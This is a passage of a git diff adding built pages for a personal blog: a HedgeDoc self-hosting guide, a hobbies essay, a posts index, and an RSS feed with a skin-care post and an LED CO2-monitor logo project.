    +      POSTGRES_DB: hedgedoc
    +    volumes:
    +      - db:/var/lib/postgresql/data
    +    restart: unless-stopped
    +
    +  hedgedoc:
    +    image: quay.io/hedgedoc/hedgedoc:1.10.2
    +    depends_on:
    +      - db
    +    environment:
    +      CMD_DB_URL: postgres://hedgedoc:${POSTGRES_PASSWORD}@db:5432/hedgedoc
    +      CMD_DOMAIN: ${HD_DOMAIN}
    +      CMD_PROTOCOL_USESSL: "true"
    +      CMD_URL_ADDPORT: "false"
    +      CMD_PORT: "3000"
    +      CMD_EMAIL: "true"
    +      CMD_ALLOW_EMAIL_REGISTER: "false"
    +    volumes:
    +      - uploads:/hedgedoc/public/uploads
    +    ports:
    +      - "127.0.0.1:3000:3000"
    +    restart: unless-stopped
    +
    +volumes:
    +  db:
    +  uploads:

    Bring it up:

    docker compose up -d

    4. Get a Let’s Encrypt certificate

    Request a cert with a DNS challenge:

    sudo certbot certonly   --manual   --preferred-challenges dns   -d notes.alipourimjourneys.ir   -m you@example.com   --agree-tos --no-eff-email

    Add the TXT record certbot asks for, wait for DNS to propagate, then continue.
    Certificates will be in:

    /etc/letsencrypt/live/notes.alipourimjourneys.ir/

    5. Configure Nginx

    Create /etc/nginx/sites-available/notes.alipourimjourneys.ir:

    server {
    +  server_name notes.alipourimjourneys.ir;
    +
    +  listen 80;
    +  listen [::]:80;
    +  return 301 https://$host$request_uri;
    +}
    +
    +server {
    +  server_name notes.alipourimjourneys.ir;
    +
    +  listen 443 ssl http2;
    +  listen [::]:443 ssl http2;
    +
    +  ssl_certificate     /etc/letsencrypt/live/notes.alipourimjourneys.ir/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/notes.alipourimjourneys.ir/privkey.pem;
    +
    +  location / {
    +    proxy_pass http://127.0.0.1:3000;
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Real-IP $remote_addr;
    +    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    +    proxy_set_header X-Forwarded-Proto https;
    +
    +    proxy_http_version 1.1;
    +    proxy_set_header Upgrade $http_upgrade;
    +    proxy_set_header Connection "upgrade";
    +  }
    +}

    Enable the config and reload Nginx:

    sudo ln -s /etc/nginx/sites-available/notes.alipourimjourneys.ir /etc/nginx/sites-enabled/
    +sudo nginx -t && sudo systemctl reload nginx

    6. Create users

    Because we disabled self-registration, create accounts manually:

    docker compose exec hedgedoc ./bin/manage_users --add alice@example.com

    You’ll be prompted for a password.
    To reset a password later:

    docker compose exec hedgedoc ./bin/manage_users --reset alice@example.com

    7. Done!

    Visit https://notes.alipourimjourneys.ir and log in with the user you created. You now have your own collaborative Markdown editor 🎉


    Extras:

    • Backups: dump the PostgreSQL database and save the uploads volume.
    • Upgrades: docker pull quay.io/hedgedoc/hedgedoc:latest && docker compose up -d.
    • Integrations: HedgeDoc supports S3/MinIO image storage, GitHub/GitLab/Google login, and more.
    + +Open on GitHub ↗
    Comments powered by Isso
    + +RSS + \ No newline at end of file diff --git a/public/posts/hello-world/index.html b/public/posts/hello-world/index.html new file mode 100644 index 0000000..f48524b --- /dev/null +++ b/public/posts/hello-world/index.html @@ -0,0 +1,11 @@ +Hello World | AlipourIm journeys +

    Hello World

    This is a test hello world post just to make sure everything works!

    + +Open on GitHub ↗
    Comments powered by Isso
    + +RSS + \ No newline at end of file diff --git a/public/posts/hobbies/index.html b/public/posts/hobbies/index.html new file mode 100644 index 0000000..10ad2b8 --- /dev/null +++ b/public/posts/hobbies/index.html @@ -0,0 +1,132 @@ +Hobbies | AlipourIm journeys +

    Hobbies

    My point of view on hobbies

    When I started my PhD, I was told “get yourself a hobby!” many many times by both my advisor, and the director of the group I worked in. +In fact, when being interviewed for the position, I was asked about my hobbies.

    For some reason I think I have like the weirdest hobbies of all time. +Like, you know, people binge series, go to clubs, bars, hang out, and so on. +But I always had interests in things that when I talk about people get weirded out, or at least some of them do so. +To be honest though, when I talk more about some of my hobbies, they do show enthusiasm, but it feels like there is a clear gap between us afterwards.

    Let’s go back in time. +What hobbies have I had over the course of my life? +Actually as a kid I used to play games on Mobile for some reason. +I was also quite competative, reaching the highest possible ranks in pretty much every game I played by solo-queueing. +I also enjoyed playing with my brother, but for some reason he always liked games that were not necesserially my most favorite. +Like I liked Vain Glory, and my brother liked Fifa. +We did play both in the end.

    After my brother went to the capital to attend univesity, we bacame more distant. +I had to also focus on my own studies, and was actually struggling in junior-high. +Now that is a story in itself for another time. +I used to play games back then as hobby. +But my real interest was chess. +I was really good at calculating. +I was extremely sharp for my age, but since I was obbese my parents wanted me to take “active” sport classes. +So… getting into a chess class was conditional.

    I have’t really done any chess studying after those early years, and I just know a few openings with little depth. +I do have a relatively good understanding of piece synergy and also ok-ish calculation skills to beat a good portion of people I see on a daily basis, but any professional player would easily beat me out of the opening.

    In high-school I didn’t really have any hobbies. +I did become interested in Basketball, but nothing serious. +It’s funny how I was able to become good at any sport I tried. +I tried Football, Basketball, Volleyball, Table Tennis, Tennis, Chess, Footsal, Swimming, and Badminton. +I think swimming was, and still is my best sport. +I never pursued it though, which is a shame.

    Before starting my Bachelors, I became really interested in Cicada3301, and cryptography. +Well, not the fancy state-of-the-art cryptography, the simple classic methods. +The notion of delivering a message in plain sight that only the two parties envolved can understand it was so cool to me! +That reminds me, we had these special things in junior-high called “Karsoogh” for math, physics, chemistry, and biology. +I think I quilified for pretty much every one of them, and had a blast every time! +In the chemistry one we cooked honey(!), in the biology one they dissected a bunny wabbit (with w to pay respect!), in the physics one we did cool experiments and tried to solve fancy problems. +But the math one was different, it happend between a few close-by NODET cities, and annualy. +The idea was simple. +They gave us questions that did were solveable by developing ideas, with almost always little to no pre-requisite. +Only in one of the years this event was internal, and they taught us 13-15 year young folks basics of cryptography, and ciphers. +We then competed against each other. +The competition was simple, develope a cipher with your team in a n*n (I think n was 6 or 8), then you split up into two groups, one team encrypts a message and you recieve the delivered message, the other team has to decrypt it. +The fastest team gets the most points. +The the message is common between teams. +After this phase the teams got together and had to figure out other teams encryption algorithm, if successful, they got points. +First teams to get an algorithm gets more points. +Our team won the best algorithm in the end, and my ideas were most influential in this achievement! +My teammates became really good friends with me after this competition which felt really cool! +I think this was the reason I became interested in cryptography. +I don’t remember the first year, but the first and last year in the final phase and after qualifying they tought us basics of game theory, and we had a set of two player fair and unfair games for which we had to compete against other players. +If your team solved a game, you got more points. +It was really fun, and since the games happened in parallel, all teammtes had to be active.

    I said all of this just to say thinking on problems became a hobby for me out of all of these cool expereinces. +I like to casually get lost in questions and think about weird equations, or natural problems. +Something like Feynman’s obsession with the spaghetti problem! +Initially when starting my PhD, I did this, but then I diverged to other things I will talk about later on. +But I do want to get back to this fun hobby. +I just need some questions, and an empty mind. +Or I guess some time slots to chill and not stress about my other research.

    During my bachelors, I became fascinated by hardware. +Like sensors, actuators, micro-controllers, and anything that I could program to do something I do but do not want to do manually. +Later on I realized this is related to IoT and Embedded systems. +I did take the embedded systems course, and for the project that the cap was 120 points, we got a wopping 125 out of 100! +Not only we implemented the whole project parts that we had to implement, but also we went beyond and just surprised the professor and his TAs! +Unfortunately I don’t have any images from the project, but the code can be found here.

    I bought myself a raspberrypi, many sensors and actuators, and did small fun projects! +I deployed a VPN on my home network, made my Rpi accessible with dynamic IP over the Internet via DDNS, deployed my very own nextcloud, website, and so on. +I smartified my room AC s.t. it would keep the temprature at a certain range in a way to avoid hysteresis via a simple temprature and humidity sensor, and an IR-transceiver by recording the controllers signal. +I could not figure out how to fix the state when commands don’t go through correctly though, a challenge that I never solved or came up with a solution for. +I would say my love with computers, making things smart, and networking became my main hobby!

    After some protests and Internet blockages, I became interested in setting up VPNs that could penetrate through censorship attempts. +It was, and still is a rat race. +Well, it’s the story of my PhD pretty much now.

    Reading books became a hobby for a while, but Youtube kinda distroyed that. +I really love to get back to reading more books, I have a really exciting list of books to be read in my library. +Listening to Music is another amazing hobby I have, specifically when I walk around or do chores. +I find doing chores so relaxing! +Since we talked about music I should mention I also tried to learn Piano, but didn’t pursue it. +I actaully wanted to learn Violine, but the consultant we talked to said “if you’re not a hard worker it won’t workout for you”, and since my brother was going to learn Piano, I followed suit. +And oh well, our teacher although he though I was doing really good for my age, did not give me the same set of practices that my brother got, and naturally since I was learning from kids books, I felt sad since his music always sounded better, and I eventually gave up feeling sad. +This is a pattern that has happened in my life a lot, something I need to stop from happening. +Comparing myself with other, and competing with them. +It’s just distroying me mentally. +I am me, and the best me ever to exist. +And that’s how it should be.

    Somewhere during my bachelors I also became fascinated by coffee! +I watched many James Hoffman videos and learned how to use different berewing methods for coffee, and did lots of experiments with it. +Then came matcha, though with matcha things are much more limited.

    Another thing that comes to mind is boardgames. +I love boardgames that you need to think and be smart! +An example is Cluedo. +People usually don’t like to play it with me because I pay attention to “everything”. +But I also anjoy playing other simpler games like UNO, Risk, Catan, card games, Coup, and many many other fun party games. +I have a whole collection of boardgames that I don’t get to play! :-P +One of my all time favorite games is “Zaar” (a persian game that was discontinued), and a game kinda similar to it called “The Night Cage”. +I like them because there is a bit of strategy, luck, and a lot of co-op in them. +In the later you either all win together, or get doomed. +In the first one there is a comperition aspect to the game which makes it cool.

    Cooking is another hobby of mine, although I only enjoy it when done with someone, or in a group. Aaaaaand guess what, I’m a loner! (Drat. :P) +I love to “not follow recipes” and try new things. +Foods I make usually turn out to be quite yummy actually, though definitly not authentic. +I also think I do a good job with the presentation part when I try. +And I’m open to cooking anything and everything!

    I was also interested in Hiking, but never really got to know someone who is both interested and willing to go with me, and when I’m alone, I rather do my other hobbies.

    And that leaves me with my latest two hobbies. CTFs, and 3D printing! Oh ,and I guess maybe blogging and sharing photos online? Idk! xD

    3D printing is an interesting one. +I was fascinated about it from before, but never got my hands on a 3D printer until like 7 months ago. +When I went to 38c3 last year, I saw so many printers, and how cool they were. +And somehting in my heart was touched, that I need one! +The thing is, I tend to like thinks that limit me to my creativity, like the IoT stuff, or how I always loved to play Minecraft as a kid. +And oh well, 3D printing is just the hobby! +I also tried to do some 3D design, but I’m quite a noob at it still. +I will probably share some of the things I’ve made somewhere somehow, but not for now at least. +Well, one of my cool projects inspired and mostly funded by my advisor was the INET logo (post comming soon!). +It’s so cute and fascinating, and I had an absolute blast working on it for the one week I did. +So much designing, fixing measurements, printing, coding, soldering, wiring, debugging, etc.! +I also 3D printed and painted many gifts and organizers and other figues for either myself, or my friends. +It’s just a fun thing to have, and to play around with. +The fixing part of it, and maintaining it is not as fun, but it’s part of the journey. +I will probably write about me and my 3D printer a lot more in the future. +Another cool thing I can do with it, and have been doing so, is to do prints for the PhD hat of the people who will be graduating, a German cute and cool tradition!

    And now let’s talk about the CTF stuff. +This is somewhat related to my interest in computers, problem solving, and cryptography (kinda). +I’ve been wanting to do CTFs for a long time and throughout my Bachelors, but never did so. +After starting my PhD, I was introduced to Saarsec, and now I’m a proud member, trying to contribute as much as my time allows me to. +I’m not good at CTFs, but the joy of getting stuck on a problem, and maybe finally solving it is just too good to pass. +I love it! +I want to do more of it. +The only sad part is that it takes a long time, and well, I need to spend time on the social aspects of my life too. +Too shay. +I would love to share some of my write-ups here too, and also write about it in the future, but there is only so much time I can spend on the blog.

    And last but not least, blogging. +Well, I kinda started it for no reason to be honest. +I just want to share my stories, and to show my vulnerable side with no guilt. +It feels freeing to do this, and I hope I continue! +I hope people won’t get mad if they are a part of these stories I share. +I try to not name any names if not required, but I do think putting my PoV helps me with reducing some anxiety and social pressure. +I really enjoy it!

    With all this being said, I think that’s it. +If I remember other hobbies that I missed, I will add them to the end of the article or maybe write a new post about it, Idk. +The only thing I want to emphasize is that I’m into things that make me limited to my creativity. +Oh, and also books, if only I read them instead of watching Youtube!!!!

    + +Open on GitHub ↗
    Comments powered by Isso
    + +RSS + \ No newline at end of file diff --git a/public/posts/index.html b/public/posts/index.html new file mode 100644 index 0000000..741d372 --- /dev/null +++ b/public/posts/index.html @@ -0,0 +1,40 @@ +Posts | AlipourIm journeys +

    Skin routine

    I don’t know how to answer the “why?” or “whyyyyy?” or even “whe the f***?” I have a skin routine. Last year, after I came to Germany, I asked a female friend about how to do skin care. She touched my face and said “Knock on wood, you have good skin!”. So… idk why I decided to take extra care of my skin, but I did! +Generaly speaking, things like this make me feel good about myself. Like I’m doing something positive while not being tortured! It’s always fun to rub a creme on your face, or gently message it. Even cleaning the face skin feels refreshing. Everything also smells nice! +...

    October 20, 2025 · 3 min · Iman Alipour +
    Six looks of the INET LED logo

    INET Logo That Breathes — From CAD to LEDs to a Calm Little Server

    I didn’t add a warning sign to the room. I taught the logo to breathe. ;-D +The Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it’s not good at is ventilating itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices! +...

    October 17, 2025 · 16 min · Iman Alipour +

    Movie review: Scent of a Woman

    I’m not a big movie watcher. In fact, I don’t remember the last time I watched a whole movie in a single day. It’s not that I don’t enjoy it, it’s that I want to do this with at least another person. It feels much better to not be alone when watching a movie for me for some reason. Buuuut, I watched Scent of a Woman on Sunday, and after my therapist encouraged me to do so. +...

    October 13, 2025 · 5 min · Iman Alipour +

    Hobbies

    When I started my PhD, I was told “get yourself a hobby!” many many times by both my advisor, and the director of the group I worked in. In fact, when being interviewed for the position, I was asked about my hobbies. +For some reason I think I have like the weirdest hobbies of all time. Like, you know, people binge series, go to clubs, bars, hang out, and so on. But I always had interests in things that when I talk about people get weirded out, or at least some of them do so. To be honest though, when I talk more about some of my hobbies, they do show enthusiasm, but it feels like there is a clear gap between us afterwards. +...

    October 10, 2025 · 11 min · Iman Alipour +

    Relationships

    Notice: You’ll hear me ranting in this post, so buckle up, or just go to another fun post. I am very vulnerable right now and want to put out my story without naming anyone. +So… do you also think you’re a lover boy, kind, nice person? So do I! I think I’m actually really good at making friends with people. Like you know, you start introducing yourself, asking them some fun personal questions about hobbies or other stuff, and then you eventually start talking about other things. +...

    October 5, 2025 · 10 min · Iman Alipour +

    Dockerizing my Minecraft Server + Geyser: from 'no space left' to stable releases

    How I containerized a Java Minecraft server with Geyser, hit a /var space wall, and locked the server to the latest stable release.

    September 29, 2025 · 3 min · Iman Alipour +

    Running my blog on Tor (.onion) and the Clearnet with Hugo + PaperMod

    TL;DR — The site is built once (Hugo project), published twice: +Onion: http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/ via Tor, no TLS/HSTS, bound to 127.0.0.1:3301. Clearnet: https://blog.alipourimjourneys.ir behind Cloudflare, Let’s Encrypt cert, Onion-Location header pointing to the onion mirror. 1) Tor hidden service (onion) basics I used Tor’s v3 onion services and mapped onion port 80 → my local web server on 127.0.0.1:3301. +Install & configure Tor (Debian/Ubuntu): +sudo apt update && sudo apt install -y tor sudoedit /etc/tor/torrc Add: +...

    September 19, 2025 · 6 min · Iman Alipour +

    Stealth Trojan VPN Behind Cloudflare Guide

    Introduction So you want a VPN that doesn’t scream “I am a VPN” to every censor and firewall out there? +Welcome to the world of Trojan over WebSocket + TLS behind Cloudflare. +This guide not only shows you how to set it up but also sprinkles in some debugging magic so you can figure out why things break (and they will break, trust me). +We’ll anonymise domains and secrets, so substitute with your own: +...

    September 9, 2025 · 4 min · Iman Alipour +
    HedgeDoc collaborative editing

    Self-Hosting HedgeDoc with Docker + Nginx + Let's Encrypt

    HedgeDoc is an open-source collaborative Markdown editor. Think Google Docs for Markdown: multiple people can edit the same note in real-time, with support for diagrams, math, polls, and slide decks. In this post we’ll walk through setting up your own instance on a server, secured with HTTPS. +Prerequisites A Linux server with Docker and Docker Compose A domain name pointing to your server (e.g. notes.alipourimjourneys.ir) Nginx installed for reverse proxying Certbot for Let’s Encrypt certificates 1. Create the project directory mkdir ~/hedgedoc && cd ~/hedgedoc 2. Create .env POSTGRES_PASSWORD=ChangeThisStrongPassword HD_DOMAIN=notes.alipourimjourneys.ir Generate a strong password with: +...

    August 29, 2025 · 2 min · Iman Alipour +
    Matrix, Signal but distributed

    Self-hosting Matrix + Element Call with LiveKit: from zero to working (and the [not so!!] fun debugging along the way)

    TL;DR: The call kept saying “waiting for media” because the browser never opened a WebSocket to LiveKit. The root cause was duplicate Access-Control-Allow-Origin headers on /sfu/get (CORS), which stopped the JWT response. Fixing CORS and ensuring the WS proxy worked (HTTP 101 in logs) solved it. +What I’m building A Matrix homeserver (Synapse) at matrix.example.com (replace with your domain). TURN/STUN (coTURN) for NAT traversal. Element Call backed by LiveKit, fronted by rtc.example.com. Nginx (host) as the single reverse proxy for everything. Cloudflare DNS (with rtc.* set to DNS-only, no orange cloud). UFW firewall opened for Matrix federation, TURN, and LiveKit media ports. I used Docker for Synapse, PostgreSQL, LiveKit and the JWT helper. I used host Nginx (not Nginx in Docker) to avoid port binding conflicts on 80/443/8448. +...

    August 26, 2025 · 9 min · Iman Alipour +
    + +RSS + \ No newline at end of file diff --git a/public/posts/index.xml b/public/posts/index.xml new file mode 100644 index 0000000..5437bf1 --- /dev/null +++ b/public/posts/index.xml @@ -0,0 +1,2589 @@ +Posts on AlipourIm journeyshttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/Recent content in Posts on AlipourIm journeysHugo -- 0.146.0enMon, 20 Oct 2025 18:47:04 +0000Skin routinehttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/skin_routine/Mon, 20 Oct 2025 18:47:04 +0000http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/skin_routine/My skin routine!I don’t know how to answer the “why?” or “whyyyyy?” or even “whe the f***?” I have a skin routine. +Last year, after I came to Germany, I asked a female friend about how to do skin care. +She touched my face and said “Knock on wood, you have good skin!”. +So… idk why I decided to take extra care of my skin, but I did!

    +

    Generaly speaking, things like this make me feel good about myself. +Like I’m doing something positive while not being tortured! +It’s always fun to rub a creme on your face, or gently message it. +Even cleaning the face skin feels refreshing. +Everything also smells nice!

    +

    Oh… and yeah, idk why I’m not good at excercising, but I really like to do things like this! +Weird. +I should definitly start going to gym and working out. +It is needed for me.

    +

    So… I decided to watch a few Youtube videos, and a guide about skin care for men. +My routine is super simple! +I have a face cleanser that I use first and wash my face with it. +It always feels refreshing and nice to use it! +I initially bought the Cerave cleaner, but switched to “Jack Black Pure Clean Daily Facial Cleanser” after that one ended. +The cleanser deeply cleans your skin, and almost all of the bad things that might be on your skin. +You don’t need to use the cleanser in the morning, but you should definitely use it at night. +It’s ok to wash your face with water in the morning.

    +

    Next step for me is applying the toner. +I use “NIVEA Derma Skin Clear Toner”. +It smells really nice, and is quite refreshing to apply to skin! +The toner adjusts the PH of your skin, and deep cleans things that the cleanser could not. +I gently rub it and let it dry, no rinsing is required here.

    +

    After this I apply an exfoliant to exfoliate my skin. +I’ve been using “Paula’s Choice Skin Perfecting 2% BHA Liquid Exfoliant” so far, but this time I got “BULLDOG Original Exfoliating Face Scrub for Purer Skin”. +Haven’t used it yet, but the Paula’s choice one is definitly good. +The thing with it is that you don’t have to message it, it’s not physical, it’s an acid. +I prefer the scrubby oness, but I think these are better for your skin. +I’ll see how I like the new one, and if I prefer it or not. +No rinsing is required here either.

    +

    I then apply my eye cream which is also from CeraVe. +Haven’t really seen much of a difference under my eyes, but it is supposed to help. +I don’t know! It feels good to apply the eye cream regardless.

    +

    The one to the last step for me is the best one! +Moisturiser. +Yayy!!! +It actually feels weird to use a moisturiser since I’ve watched Mortuary Assisant’s gameplay, and the last step there for embalming the body is applying moisturiser. +Feels weird. +The one I use is water based, hence perfect for men. +I use “Neutrogena Hydro Boost Aqua Gel Moisturiser”. +As a man if you use oil-based, you’ll get acne. +So don’t.

    +

    I learned to use pads for applying some of these stuff, it feels cooler when using, specifically when you gently tap your face with a cotton pad! ^^

    +

    And… last but not least is applying sun screen. +Nothing special here. +I just make sure to use SPF 50+ sun screen for better protection.

    +

    Even if it does nothing, it still makes me feel good about myself.

    +

    The whole routine does not take more than 10 min, but gives me an energy boost, and a lot of good vibes both at night and in the morning!

    +]]>
    INET Logo That Breathes — From CAD to LEDs to a Calm Little Serverhttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/inet_logo/Fri, 17 Oct 2025 00:00:00 +0000http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/inet_logo/<blockquote> +<p>I didn’t add a warning sign to the room. I taught the <strong>logo</strong> to breathe. ;-D</p></blockquote> +<p>The Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it&rsquo;s not good at is <strong>ventilating</strong> itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices!</p> +

    I didn’t add a warning sign to the room. I taught the logo to breathe. ;-D

    +

    The Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it’s not good at is ventilating itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices!

    +

    So I crafted the INET logo and gave it a 9-5 job: be a polite barometer. If the air is fresh, it glows cool and calm. If it’s getting stale, it warms up. No blinking warnings, no sound effects — just mood.

    +

    This post is the story of how I designed the channel and diffuser, printed the parts, cut, layed out, and soldered the snippets of LED strips, wrote the software, and wrapped it all in a systemd service so it wakes up with the Pi. Feel free to grab a cup of coffee and enjoy the post! I’ll try to include as much detail as I can.

    +
    +

    1) Sketch → CAD → Print

    +

    Fusion design + logotype

    +

    I started the way all sensible hardware projects start: with overconfidence and a sketch. The INET logotype looks simple from the front but it’s a small maze inside. I modeled pockets for each letter in Fusion: a tall I, the curving N, three stacked bars for E, and the long arm of T. Each pocket got:

    +
      +
    • Mounting bosses for the front diffusers (M2 screws),
    • +
    • Cable holes between chambers (rounded to avoid cutting silicone wire), and
    • +
    • A small wiring bay for the controller and power.
    • +
    +

    I printed the channel parts in matte black PLA for heat resilience and the diffusers in white PLA at 1-2 mm thick to hide hotspots without wasting brightness. That thickness ended up perfect; you can still see motion, but the individual LED package disappears. +The print process took around 24h, including the misprints, and the in-between prints for adjusting the sizes and calibrating everything. Each letter was either printed in multiple parts, or individually so that the logo becomes as large as possible. I used around 1Kg of fillament to print the whole thing.

    +

    The design process took around 18 iterations, with initial iteration being simple letters in italic form, and the later ones being more similar to the original INET logo of our group. +I had some experience with CAD, and had designed some simple things to address my everyday problems, but this was a more serious one. Overall it took me a few days to design the logo and print it part by part. The design is not the most artistic, but as authentic as I could get it.

    +
    +

    2) The Look I Wanted

    +

    Animations collage

    +

    I wasn’t building a stage light. The goal was calm: slow waves, breathing brightness, gentle comets. Everything reads through those letter chambers like a tiny light sculpture. The cyan frame in the collage is the CO₂ monitor in a “fresh air” state (more on the color language below). There are many many other animations that I stole from different git repositories, but the most used one is the Co2 monitor with breathing animation. I did want to include more animations other than breathing, but that will be a future me problem with creativity left to spare; right now my creativity well is as dry as the paint on my wall! For now, I’m happy with it and want to let it be there doing it’s job.

    +
    +

    3) The Tidy Mess Behind the Panel

    +

    Hardware collage

    +

    Inside the box there’s a Raspberry Pi zero 2 W, a short run of WS2812B LEDs (78 pixels total), a 5 V 3–4 A supply, jumpers that mind their manners, and two little hardware choices that pay rent every day:

    +
      +
    • A 330–470 Ω series resistor on the data line right at the first pixel. It damps ringing and prevents weird flickers.
    • +
    • A 1000 µF electrolytic across 5V/GND at the strip start. It handles inrush so the first LED doesn’t faint at boot.
    • +
    +

    I route the strip DIN → DOUT through the chambers and use short silicone jumpers at the bends. Every joint gets heat‑shrink and a tiny dab of hot glue as strain relief. I continuity‑check before power and bring brightness up slowly on a bench supply.

    +

    The soldering was a big mess. I had never done hardware debugging before. My soldering skills were definitly challenged for this project, as the connections kept breaking when I moved the logo. I did learn how to perform better soldering, but it was already too late. I had to tin the wires after adding flux, and let the soldering wire go up the wire to get stronger connections and leave no naked coppers. A note to remember for next soldering journeys. It took me around two whole days to solder everything and debug it. At some point there was a faulty LED in the middle that caused shorting, and I found and cut it out. This was the most annoying part of the debugging as I had to go through the LEDs, measuring voltage difference to see what is causing the problem. I honestly gave up somewhere in here and thought I won’t be able to push through the marathon, but here I am, done with the logo, happy as a four young old licking their ice cream! xD

    +
    +

    4) A Web Panel that Stays Out of the Way

    +

    UI collage

    +

    The web UI is quiet on purpose: a single navbar, a /control page with big same‑size buttons, a /schedule table, a drag‑and‑drop /calendar, a /status page that updates once a second, and /history charts for CO₂/temperature/humidity with white backgrounds so they’re legible on a projector. Temprature values are not about room, but the box, as I could not mount the sensor outside of the box easily. I just let it sit inside the box. The panel was created with the help of trusty vibe-coding (!). I used chat GPT to create a template, and expanded it for the purpose. Flask made things very easy.

    +

    There’s also a Safe Mode switch that hides flashier patterns. Meeting rooms are for thinking, not strobe tests, and you never know who might have photosensitive epilepsy, and it’s not funny for anyone to fidn this out when looking at your creation. So… yea, I took precautions not to see people getting seizures looking at my creation. :-)

    +
    +

    5) The Color Language for Air

    +

    The co2_monitor animation maps CO₂ ppm → color and adds slow motion so it doesn’t feel like a stoplight:

    +
      +
    • < 500 ppm: Cyan — outdoor‑like fresh air.
    • +
    • 500–799: Green — good.
    • +
    • 800–1199: Yellow — getting stale.
    • +
    • 1200–1499: Orange — poor; you’ll feel it.
    • +
    • 1500–1999: Red — ventilate now.
    • +
    • ≥ 2000: Purple — the logo is politely yelling.
    • +
    +

    I blend the readings with an exponential moving average and use hysteresis around thresholds so it doesn’t ping‑pong colors when the room hovers at 800 ppm. Then I ease the current hue toward the target color and apply a very slow breathing brightness. The result feels alive but never flashy.

    +

    By default, the lights turn off from 20 to 6, then from 6 to 9, and 5 to 8 the standby red pulse is shown. From 9-5 on workdays the logo does it’s daily job of Co2 monitoring. Well, technically it does that all the time, but during those hours it shows the Co2 level by it’s color, the remaining time it just keeps a record of the Co2, temprature and humidity of room in the database.

    +
    +

    6) The Code — a guided tour (no giant blob, promise)

    +

    This whole project runs from a single Python file. Think of it like a tiny orchestra:
    +one thread conducts the LEDs, one listens politely to the CO₂ sensor, one keeps time as the scheduler, and a small web server hands you the baton when you want to improvise.

    +

    Below is what each section does, with just enough code to be useful (and not enough to make your eyes cross).

    +
    +

    6.1 Configuration (the knobs)

    +

    Let’s define where the LEDs live, how bright they can get, and where to save tiny bits of state (schedule and sensor DB). All of it can be overridden with environment variables so you don’t edit code to change pin numbers.

    +
    LED_COUNT=78, LED_PIN=18, LED_BRIGHT=255
    +SCHEDULE_PATH="schedule.json"
    +DB_PATH="sensor.db"
    +SAFE_MODE=True  # hide flashy animations by default
    +

    Why it’s like this: simple, explicit defaults → less “why is it dark” debugging.

    +
    +

    6.2 Strip setup + frame-diff (no flicker magic)

    +

    Now initialize rpi_ws281x.PixelStrip and put a shadow frame buffer in front of it.

    +
    frame = [(0,0,0)] * LED_COUNT
    +_dirty = False
    +
    +def _set_pixel(i, r, g, b):
    +  # only touch hardware if the value actually changed
    +  if frame[i] != (r,g,b):
    +    strip.setPixelColorRGB(i, r, g, b)
    +    frame[i] = (r,g,b)
    +    global _dirty; _dirty = True
    +
    +def flush():
    +  if _dirty: strip.show(); _dirty=False
    +

    Why it’s like this: LEDs are zen monks—disturb them only when you must. The frame-diff prevents those mysterious “one frame flash” moments that happen when you call show() with identical data.

    +
    +

    6.3 A tiny color wheel helper

    +

    Classic rainbow helper used by a few animations:

    +
    def wheel(pos):
    +  # 0..255 → (r,g,b)
    +  ...
    +

    Why it’s like this: I’ll use it again and again; it keeps color math out of the animations.

    +
    +

    6.4 State & orchestration

    +

    Let’s hold a registry of animations, a stop flag, and the currently playing thread.

    +
    animations = {}
    +stop_event = threading.Event()
    +current_thread = None
    +
    +def register(name, safe=True):
    +  def wrap(fn):
    +    animations[name] = {"fn": fn, "safe": safe}
    +    return fn
    +  return wrap
    +
    +def run_animation(fn):
    +  # cooperative hand-off: stop current, start next
    +  if current_thread and current_thread.is_alive():
    +    stop_event.set(); current_thread.join()
    +  stop_event.clear()
    +  t = threading.Thread(target=fn, name=fn.__name__, daemon=True)
    +  t.start(); globals()["current_thread"] = t
    +

    Why it’s like this: adding a new animation is a one-liner @register("name"). Clean exits prevent torn frames and half-drawn comets.

    +
    +

    6.5 Animations (the mood)

    +

    Each animation is a loop that checks stop_event.is_set() and draws frames with _set_pixel(...) + flush().

    +
      +
    • redpulse — calm breathing in red; great default.
    • +
    • colorwave — slow rainbow that reads clearly behind diffusers.
    • +
    • comet — a single head with a fading tail orbiting the logo.
    • +
    +

    They all end with finally: clear_strip() so the panel doesn’t freeze on the last pose if you stop mid-frame.

    +

    Why it’s like this: cooperative loops + frame-diff = smooth, interruption-safe effects.

    +
    +

    6.6 CO₂ color language (with smoothing + hysteresis)

    +

    The star of the show. Now map ppm to color bands and keep transitions human-pleasant.

    +
      +
    • < 500: Cyan (fresh)
    • +
    • 500–799: Green
    • +
    • 800–1199: Yellow
    • +
    • 1200–1499: Orange
    • +
    • 1500–1999: Red
    • +
    • ≥ 2000: Purple
    • +
    +
    BANDS=[(0,500,(0,214,255)), (500,800,(17,204,85)), ... (2000,,(123,44,191))]
    +EMA_ALPHA=0.15; HYST=35
    +
    +# Every tick:
    +ema = (1-EMA_ALPHA)*ema + EMA_ALPHA*co2
    +band = hysteresis_aware_band(ema, last_band, HYST)
    +target = BANDS[band].color
    +current = lerp(current, target, 0.10)   # gentle hue easing
    +level   = breathe(0.25 Hz, low=10, high=220)
    +draw all pixels = current * level
    +

    Why it’s like this: EMA + hysteresis prevents “800↔801 disco.” The slow breathing keeps the panel feeling alive, not like a traffic light.

    +
    +

    6.7 Optional SCD41 sensor thread (the polite listener)

    +

